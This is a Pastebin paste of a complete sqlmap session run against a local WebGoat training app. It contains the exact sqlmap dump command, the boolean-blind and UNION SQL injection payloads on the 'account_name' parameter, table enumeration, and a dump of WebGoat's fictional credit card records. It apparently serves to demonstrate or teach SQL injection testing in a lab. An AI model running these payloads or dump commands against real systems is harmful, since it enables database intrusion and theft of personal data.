Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- $ python sqlmap.py -r webgoat.req --current-user --tables --columns -T user_data -D public --dbs --fresh-queries --safe-url "http://localhost:8080/WebGoat/service/restartlesson.mvc" --safe-freq=1 --flush-session --dump --batch
- _
- ___ ___| |_____ ___ ___ {1.0-dev-48619d9}
- |_ -| . | | | .'| . |
- |___|_ |_|_|_|_|__,| _|
- |_| |_| http://sqlmap.org
- [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
- [*] starting at 13:03:47
- [13:03:47] [INFO] parsing HTTP request from 'webgoat.req'
- [13:03:47] [INFO] testing connection to the target URL
- [13:03:47] [INFO] heuristics detected web page charset 'ascii'
- [13:03:47] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
- [13:03:47] [INFO] testing if the target URL is stable
- [13:03:48] [INFO] target URL is stable
- [13:03:48] [INFO] testing if POST parameter 'account_name' is dynamic
- [13:03:48] [INFO] confirming that POST parameter 'account_name' is dynamic
- [13:03:48] [INFO] POST parameter 'account_name' is dynamic
- [13:03:48] [INFO] heuristic (basic) test shows that POST parameter 'account_name' might be injectable (possible DBMS: 'HSQLDB')
- [13:03:48] [INFO] heuristic (XSS) test shows that POST parameter 'account_name' might be vulnerable to XSS attacks
- [13:03:48] [INFO] testing for SQL injection on POST parameter 'account_name'
- it looks like the back-end DBMS is 'HSQLDB'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
- for the remaining tests, do you want to include all tests for 'HSQLDB' extending provided level (1) and risk (1) values? [Y/n] Y
- [13:03:48] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
- [13:03:48] [WARNING] reflective value(s) found and filtering out
- [13:03:48] [INFO] POST parameter 'account_name' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
- [13:03:48] [INFO] testing 'HSQLDB >= 1.7.2 stacked queries (heavy query - comment)'
- [13:03:48] [WARNING] time-based comparison requires larger statistical model, please wait................
- [13:03:48] [INFO] testing 'HSQLDB >= 1.7.2 stacked queries (heavy query)'
- [13:03:48] [INFO] testing 'HSQLDB >= 2.0 stacked queries (heavy query - comment)'
- [13:03:48] [INFO] testing 'HSQLDB >= 2.0 stacked queries (heavy query)'
- [13:03:48] [INFO] testing 'HSQLDB >= 1.7.2 AND time-based blind (heavy query)'
- [13:03:48] [INFO] testing 'HSQLDB >= 1.7.2 OR time-based blind (heavy query)'
- [13:03:48] [INFO] testing 'HSQLDB >= 1.7.2 AND time-based blind (heavy query - comment)'
- [13:03:48] [INFO] testing 'HSQLDB >= 1.7.2 OR time-based blind (heavy query - comment)'
- [13:03:48] [INFO] testing 'HSQLDB > 2.0 AND time-based blind (heavy query)'
- [13:03:48] [INFO] testing 'HSQLDB > 2.0 OR time-based blind (heavy query)'
- [13:03:48] [INFO] testing 'HSQLDB > 2.0 AND time-based blind (heavy query - comment)'
- [13:03:48] [INFO] testing 'HSQLDB > 2.0 OR time-based blind (heavy query - comment)'
- [13:03:48] [INFO] testing 'HSQLDB >= 1.7.2 time-based blind - Parameter replace (heavy query)'
- [13:03:48] [INFO] testing 'HSQLDB > 2.0 time-based blind - Parameter replace (heavy query)'
- [13:03:48] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
- [13:03:48] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
- [13:03:48] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
- [13:03:48] [INFO] target URL appears to have 7 columns in query
- [13:03:48] [INFO] POST parameter 'account_name' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
- POST parameter 'account_name' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
- sqlmap identified the following injection point(s) with a total of 48 HTTP(s) requests:
- ---
- Parameter: account_name (POST)
- Type: boolean-based blind
- Title: AND boolean-based blind - WHERE or HAVING clause
- Payload: account_name=Smith' AND 9088=9088 AND 'honL'='honL&SUBMIT=Go!
- Type: UNION query
- Title: Generic UNION query (NULL) - 7 columns
- Payload: account_name=Smith' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CHAR(113)||CHAR(120)||CHAR(107)||CHAR(113)||CHAR(113)||CHAR(110)||CHAR(99)||CHAR(67)||CHAR(109)||CHAR(84)||CHAR(114)||CHAR(66)||CHAR(120)||CHAR(119)||CHAR(70)||CHAR(107)||CHAR(109)||CHAR(90)||CHAR(65)||CHAR(116)||CHAR(84)||CHAR(76)||CHAR(111)||CHAR(70)||CHAR(110)||CHAR(115)||CHAR(109)||CHAR(72)||CHAR(68)||CHAR(103)||CHAR(66)||CHAR(74)||CHAR(83)||CHAR(114)||CHAR(101)||CHAR(74)||CHAR(82)||CHAR(71)||CHAR(108)||CHAR(103)||CHAR(100)||CHAR(82)||CHAR(75)||CHAR(122)||CHAR(98)||CHAR(113)||CHAR(118)||CHAR(106)||CHAR(98)||CHAR(113) FROM INFORMATION_SCHEMA.SYSTEM_USERS-- &SUBMIT=Go!
- ---
- [13:03:48] [INFO] testing HSQLDB
- [13:03:48] [INFO] confirming HSQLDB
- [13:03:48] [INFO] the back-end DBMS is HSQLDB
- [13:03:49] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
- [13:03:49] [INFO] retrieved:
- back-end DBMS: HSQLDB >= 1.7.2 and < 1.8.0
- [13:03:50] [INFO] fetching current user
- current user: 'SA'
- [13:03:50] [INFO] fetching database names
- [13:03:50] [INFO] the SQL query used returns 2 entries
- [13:03:50] [INFO] retrieved: INFORMATION_SCHEMA
- [13:03:50] [INFO] retrieved: PUBLIC
- available databases [2]:
- [*] INFORMATION_SCHEMA
- [*] PUBLIC
- [13:03:50] [INFO] fetching tables for database: 'PUBLIC'
- [13:03:50] [INFO] the SQL query used returns 61 entries
- [13:03:50] [INFO] retrieved: USER_SYSTEM_DATA
- [13:03:50] [INFO] retrieved: WEATHER_DATA
- [13:03:50] [INFO] retrieved: USER_DATA_TAN
- [13:03:50] [INFO] retrieved: USER_LOGIN
- [13:03:50] [INFO] retrieved: TRANSACTIONS
- [13:03:50] [INFO] retrieved: USER_DATA
- [13:03:50] [INFO] retrieved: SALARIES
- [13:03:50] [INFO] retrieved: TAN
- [13:03:50] [INFO] retrieved: PRODUCT_SYSTEM_DATA
- [13:03:50] [INFO] retrieved: ROLES
- [13:03:50] [INFO] retrieved: OWNERSHIP
- [13:03:50] [INFO] retrieved: PINS
- [13:03:50] [INFO] retrieved: MESSAGES
- [13:03:50] [INFO] retrieved: MFE_IMAGES
- [13:03:50] [INFO] retrieved: AUTH
- [13:03:50] [INFO] retrieved: EMPLOYEE
- Database: PUBLIC
- [16 tables]
- +---------------------+
- | AUTH |
- | EMPLOYEE |
- | MESSAGES |
- | MFE_IMAGES |
- | OWNERSHIP |
- | PINS |
- | PRODUCT_SYSTEM_DATA |
- | ROLES |
- | SALARIES |
- | TAN |
- | TRANSACTIONS |
- | USER_DATA |
- | USER_DATA_TAN |
- | USER_LOGIN |
- | USER_SYSTEM_DATA |
- | WEATHER_DATA |
- +---------------------+
- [13:03:50] [INFO] fetching columns for table 'USER_DATA' in database 'PUBLIC'
- [13:03:50] [INFO] the SQL query used returns 7 entries
- [13:03:50] [INFO] retrieved: "CC_NUMBER","VARCHAR"
- [13:03:50] [INFO] retrieved: "CC_TYPE","VARCHAR"
- [13:03:50] [INFO] retrieved: "COOKIE","VARCHAR"
- [13:03:50] [INFO] retrieved: "FIRST_NAME","VARCHAR"
- [13:03:50] [INFO] retrieved: "LAST_NAME","VARCHAR"
- [13:03:50] [INFO] retrieved: "LOGIN_COUNT","INTEGER"
- [13:03:50] [INFO] retrieved: "USERID","INTEGER"
- Database: PUBLIC
- Table: USER_DATA
- [7 columns]
- +-------------+---------+
- | Column | Type |
- +-------------+---------+
- | CC_NUMBER | VARCHAR |
- | CC_TYPE | VARCHAR |
- | COOKIE | VARCHAR |
- | FIRST_NAME | VARCHAR |
- | LAST_NAME | VARCHAR |
- | LOGIN_COUNT | INTEGER |
- | USERID | INTEGER |
- +-------------+---------+
- [13:03:50] [INFO] fetching columns for table 'USER_DATA' in database 'PUBLIC'
- [13:03:50] [INFO] the SQL query used returns 7 entries
- [13:03:50] [INFO] retrieved: "CC_NUMBER","VARCHAR"
- [13:03:50] [INFO] retrieved: "CC_TYPE","VARCHAR"
- [13:03:50] [INFO] retrieved: "COOKIE","VARCHAR"
- [13:03:50] [INFO] retrieved: "FIRST_NAME","VARCHAR"
- [13:03:50] [INFO] retrieved: "LAST_NAME","VARCHAR"
- [13:03:50] [INFO] retrieved: "LOGIN_COUNT","INTEGER"
- [13:03:50] [INFO] retrieved: "USERID","INTEGER"
- [13:03:50] [INFO] fetching entries for table 'USER_DATA' in database 'PUBLIC'
- [13:03:50] [INFO] the SQL query used returns 13 entries
- [13:03:50] [INFO] retrieved: "123456789","MC"," ","Jane","Plane","0","103"
- [13:03:50] [INFO] retrieved: "123609789","MC"," ","Peter","Sand","0","15603"
- [13:03:50] [INFO] retrieved: "176896789","MC"," ","Jolly","Hershey","0","10312"
- [13:03:50] [INFO] retrieved: "2234200065411","MC"," ","Joe","Snow","0","101"
- [13:03:50] [INFO] retrieved: "2435600002222","MC"," ","John","Smith","0","102"
- [13:03:50] [INFO] retrieved: "333300003333","AMEX"," ","Jolly","Hershey","0","10312"
- [13:03:51] [INFO] retrieved: "333498703333","AMEX"," ","Jane","Plane","0","103"
- [13:03:51] [INFO] retrieved: "33413003333","AMEX"," ","Grumpy","youaretheweakestlink","0","10323"
- [13:03:51] [INFO] retrieved: "33843453533","AMEX"," ","Joesph","Something","0","15613"
- [13:03:51] [INFO] retrieved: "338893453333","AMEX"," ","Peter","Sand","0","15603"
- [13:03:51] [INFO] retrieved: "4352209902222","AMEX"," ","John","Smith","0","102"
- [13:03:51] [INFO] retrieved: "673834489","MC"," ","Grumpy","youaretheweakestlink","0","10323"
- [13:03:51] [INFO] retrieved: "987654321","VISA"," ","Joe","Snow","0","101"
- [13:03:51] [INFO] analyzing table dump for possible password hashes
- Database: PUBLIC
- Table: USER_DATA
- [13 entries]
- +--------+--------+---------+----------------------+---------------+------------+-------------+
- | USERID | COOKIE | CC_TYPE | LAST_NAME | CC_NUMBER | FIRST_NAME | LOGIN_COUNT |
- +--------+--------+---------+----------------------+---------------+------------+-------------+
- | 103 | NULL | MC | Plane | 123456789 | Jane | 0 |
- | 15603 | NULL | MC | Sand | 123609789 | Peter | 0 |
- | 10312 | NULL | MC | Hershey | 176896789 | Jolly | 0 |
- | 101 | NULL | MC | Snow | 2234200065411 | Joe | 0 |
- | 102 | NULL | MC | Smith | 2435600002222 | John | 0 |
- | 10312 | NULL | AMEX | Hershey | 333300003333 | Jolly | 0 |
- | 103 | NULL | AMEX | Plane | 333498703333 | Jane | 0 |
- | 10323 | NULL | AMEX | youaretheweakestlink | 33413003333 | Grumpy | 0 |
- | 15613 | NULL | AMEX | Something | 33843453533 | Joesph | 0 |
- | 15603 | NULL | AMEX | Sand | 338893453333 | Peter | 0 |
- | 102 | NULL | AMEX | Smith | 4352209902222 | John | 0 |
- | 10323 | NULL | MC | youaretheweakestlink | 673834489 | Grumpy | 0 |
- | 101 | NULL | VISA | Snow | 987654321 | Joe | 0 |
- +--------+--------+---------+----------------------+---------------+------------+-------------+
- [13:03:51] [INFO] table 'PUBLIC.USER_DATA' dumped to CSV file '/home/stamparm/.sqlmap/output/localhost/dump/PUBLIC/USER_DATA.csv'
- [13:03:51] [INFO] fetched data logged to text files under '/home/stamparm/.sqlmap/output/localhost'
- [*] shutting down at 13:03:51
Advertisement
Add Comment
Please, Sign In to add comment